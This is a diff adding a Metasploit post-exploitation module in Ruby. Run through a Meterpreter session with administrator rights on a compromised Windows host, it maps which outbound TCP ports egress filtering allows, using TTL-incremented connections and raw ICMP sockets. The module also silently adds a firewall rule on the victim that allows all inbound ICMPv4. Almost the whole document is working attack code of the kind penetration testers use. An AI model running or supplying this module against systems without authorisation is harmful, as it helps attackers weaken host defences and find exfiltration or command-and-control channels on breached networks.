|
| 1 | +# -*- coding: binary -*- |
| 2 | + |
| 3 | +## |
| 4 | +# This module requires Metasploit: http//metasploit.com/download |
| 5 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | +require 'rex' |
| 10 | + |
| 11 | +class Metasploit3 < Msf::Post |
| 12 | + include Msf::Post::Windows::Priv |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super( update_info( info, |
| 16 | + 'Name' => 'Windows Outbound-Filering Rules', |
| 17 | + 'Description' => %q{ |
| 18 | + This module makes some kind of TCP traceroute to get outbound-filtering rules. |
| 19 | + It will try to make a TCP connection to a certain public IP address (this IP |
| 20 | + does not need to be under your control) using different TTL incremental values. |
| 21 | + This way if you get an answer (ICMP ttl time exceeded packet) from a public IP |
| 22 | + device you can infer that the destination port is allowed. Setting STOP to |
| 23 | + true the module will stop as soon as you reach a public IP (this will generate |
| 24 | + less noise in the network). |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => 'Borja Merino <bmerinofe[at]gmail.com>', |
| 28 | + 'Platform' => 'win', |
| 29 | + 'SessionTypes' => ['meterpreter'], |
| 30 | + 'References' => [ |
| 31 | + ['URL', 'http://www.shelliscoming.com/2014/11/getting-outbound-filtering-rules-by.html'] |
| 32 | + ] |
| 33 | + )) |
| 34 | + |
| 35 | + register_options( |
| 36 | + [ |
| 37 | + OptAddress.new('ADDRESS' , [ true, 'Destination IP address.']), |
| 38 | + OptInt.new('HOPS', [true, 'Number of hops to get.', 3]), |
| 39 | + OptInt.new('MIN_TTL', [true, 'Starting TTL value.', 1]), |
| 40 | + OptString.new('PORTS', [true, 'Ports to test (e.g. 80,443,100-110).','80,443']), |
| 41 | + OptInt.new('TIMEOUT', [true, 'Timeout for the ICMP socket.', 3]), |
| 42 | + OptBool.new('STOP', [true, 'Stop when it finds a public IP.', true]) |
| 43 | + ], self.class) |
| 44 | + end |
| 45 | + |
| 46 | + def icmp_setup |
| 47 | + handler = client.railgun.ws2_32.socket("AF_INET", "SOCK_RAW", "IPPROTO_ICMP") |
| 48 | + if handler['GetLastError'] == 0 |
| 49 | + vprint_status("ICMP raw socket created successfully") |
| 50 | + else |
| 51 | + print_error("There was an error setting the ICMP raw socket; GetLastError: #{handler['GetLastError']}") |
| 52 | + return nil |
| 53 | + end |
| 54 | + |
| 55 | + r = client.railgun.ws2_32.bind(handler['return'],"\x02\x00\x00\x00" << Rex::Socket.addr_aton(session.session_host) << "\x00"*8 ,16) |
| 56 | + if r['GetLastError'] == 0 |
| 57 | + vprint_status("ICMP socket successfully bound to #{session.session_host}") |
| 58 | + else |
| 59 | + print_error("There was an error binding the ICMP socket to #{session.session_host}; GetLastError: #{r['GetLastError']}") |
| 60 | + return nil |
| 61 | + end |
| 62 | + |
| 63 | + # int WSAIoctl( |
| 64 | + # _In_ SOCKET s, |
| 65 | + # _In_ DWORD dwIoControlCode, |
| 66 | + # _In_ LPVOID lpvInBuffer, |
| 67 | + # _In_ DWORD cbInBuffer, |
| 68 | + # _Out_ LPVOID lpvOutBuffer, |
| 69 | + # _In_ DWORD cbOutBuffer, |
| 70 | + # _Out_ LPDWORD lpcbBytesReturned, |
| 71 | + # _In_ LPWSAOVERLAPPED lpOverlapped, |
| 72 | + # _In_ LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine |
| 73 | + # ); |
| 74 | + |
| 75 | + sio_rcvall = 0x98000001 |
| 76 | + r = client.railgun.ws2_32.WSAIoctl(handler['return'], sio_rcvall, "\x01", 4, nil, 0 ,4, nil, nil) |
| 77 | + if r['GetLastError'] == 0 |
| 78 | + return handler['return'] |
| 79 | + else |
| 80 | + print_error("There was an error calling WSAIoctl (ICMP raw socket); GetLastError: #{r['GetLastError']}") |
| 81 | + return nil |
| 82 | + end |
| 83 | + end |
| 84 | + |
| 85 | + def tcp_setup(ttl) |
| 86 | + handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP') |
| 87 | + if handler['GetLastError'] == 0 |
| 88 | + vprint_status('TCP socket created successfully') |
| 89 | + else |
| 90 | + print_error("There was an error setting the TCP socket; GetLastError: #{handler['GetLastError']}") |
| 91 | + return nil |
| 92 | + end |
| 93 | + |
| 94 | + # 0x8004667E = FIONBIO |
| 95 | + # Enable non-blocking mode when *argp (third parameter in ioctlsocket) is set to a nonzero value |
| 96 | + cmd = 0x8004667E |
| 97 | + r = client.railgun.ws2_32.ioctlsocket(handler['return'], cmd, 1) |
| 98 | + if r['GetLastError'] == 0 |
| 99 | + vprint_status('TCP socket successfully configured in non-blocking mode') |
| 100 | + else |
| 101 | + print_error("There was an error setting the TCP socket in non-blocking mode; GetLastError: #{r['GetLastError']}") |
| 102 | + return nil |
| 103 | + end |
| 104 | + |
| 105 | + # int setsockopt( |
| 106 | + # _In_ SOCKET s, |
| 107 | + # _In_ int level, |
| 108 | + # _In_ int optname, |
| 109 | + # _In_ const char *optval, |
| 110 | + #_In_ int optlen |
| 111 | + # ); |
| 112 | + ipproto_ip = 0 |
| 113 | + ip_ttl = 4 |
| 114 | + r = client.railgun.ws2_32.setsockopt(handler['return'], ipproto_ip, ip_ttl, [ttl].pack('C'), 4) |
| 115 | + if r['GetLastError'] == 0 |
| 116 | + vprint_status("TTL value successfully set to #{ttl}") |
| 117 | + return handler['return'] |
| 118 | + else |
| 119 | + print_error("There was an error setting the TTL value; GetLastError: #{r['GetLastError']}") |
| 120 | + return nil |
| 121 | + end |
| 122 | + end |
| 123 | + |
| 124 | + def connections(remote, dst_port, h_icmp, h_tcp, to) |
| 125 | + sock_addr = "\x02\x00" |
| 126 | + sock_addr << [dst_port].pack('n') |
| 127 | + sock_addr << Rex::Socket.addr_aton(remote) |
| 128 | + sock_addr << "\x00" * 8 |
| 129 | + r = client.railgun.ws2_32.connect(h_tcp, sock_addr, 16) |
| 130 | + |
| 131 | + # A GetLastError == 1035 is expected since the socket is set to non-blocking mode |
| 132 | + unless r['GetLastError'] == 10035 |
| 133 | + print_error("There was an error creating the connection to the peer #{remote}; GetLastError: #{r['GetLastError']}") |
| 134 | + return |
| 135 | + end |
| 136 | + |
| 137 | + from = ' ' * 16 |
| 138 | + |
| 139 | + begin |
| 140 | + ::Timeout.timeout(to) do |
| 141 | + r = client.railgun.ws2_32.recvfrom(h_icmp, "\x00" * 100, 100, 0, from, 16) |
| 142 | + hop = Rex::Socket.addr_ntoa(r['from'][4..7]) |
| 143 | + return hop |
| 144 | + end |
| 145 | + rescue ::Timeout::Error |
| 146 | + return nil |
| 147 | + end |
| 148 | + end |
| 149 | + |
| 150 | + def run |
| 151 | + unless is_admin? |
| 152 | + print_error("You don't have enough privileges. Try getsystem.") |
| 153 | + return |
| 154 | + end |
| 155 | + |
| 156 | + if sysinfo['OS'] =~ /XP/ |
| 157 | + print_error('Windows XP is not supported') |
| 158 | + return |
| 159 | + end |
| 160 | + |
| 161 | + output = cmd_exec('netsh',' advfirewall firewall add rule name="All ICMP v4" dir=in action=allow protocol=icmpv4:any,any') |
| 162 | + print_status("ICMP firewall IN rule established: #{output}") |
| 163 | + |
| 164 | + session.railgun.ws2_32 |
| 165 | + remote = datastore['ADDRESS'] |
| 166 | + to = datastore['TIMEOUT'] |
| 167 | + |
| 168 | + ports = Rex::Socket.portspec_crack(datastore['PORTS']) |
| 169 | + |
| 170 | + ports.each do |dport| |
| 171 | + pub_ip = false |
| 172 | + print_status("Testing port #{dport}...") |
| 173 | + 0.upto(datastore['HOPS'] - 1) do |i| |
| 174 | + i = i + datastore['MIN_TTL'] |
| 175 | + h_icmp = icmp_setup |
| 176 | + return if h_icmp.nil? |
| 177 | + h_tcp = tcp_setup(i) |
| 178 | + return if h_tcp.nil? |
| 179 | + |
| 180 | + hop = connections(remote, dport, h_icmp, h_tcp, to) |
| 181 | + if hop.nil? |
| 182 | + print_error("#{i} *") |
| 183 | + else |
| 184 | + print_good("#{i} #{hop}") |
| 185 | + unless Rex::Socket.is_internal?(hop) |
| 186 | + pub_ip = true |
| 187 | + break if datastore['STOP'] |
| 188 | + end |
| 189 | + end |
| 190 | + client.railgun.ws2_32.closesocket(h_tcp) |
| 191 | + client.railgun.ws2_32.closesocket(h_icmp) |
| 192 | + end |
| 193 | + print_good("Public IP reached. The TCP port #{dport} is not filtered") if pub_ip |
| 194 | + end |
| 195 | + end |
| 196 | +end |
0 commit comments